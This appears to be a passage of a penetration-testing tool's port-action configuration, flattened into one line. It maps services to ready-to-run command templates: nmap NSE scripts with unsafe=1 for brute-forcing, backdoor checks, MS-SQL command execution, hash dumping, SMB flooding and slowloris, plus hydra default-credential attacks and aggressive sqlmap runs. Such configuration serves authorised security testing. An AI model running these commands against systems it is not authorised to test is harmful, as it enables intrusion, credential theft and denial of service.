nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse 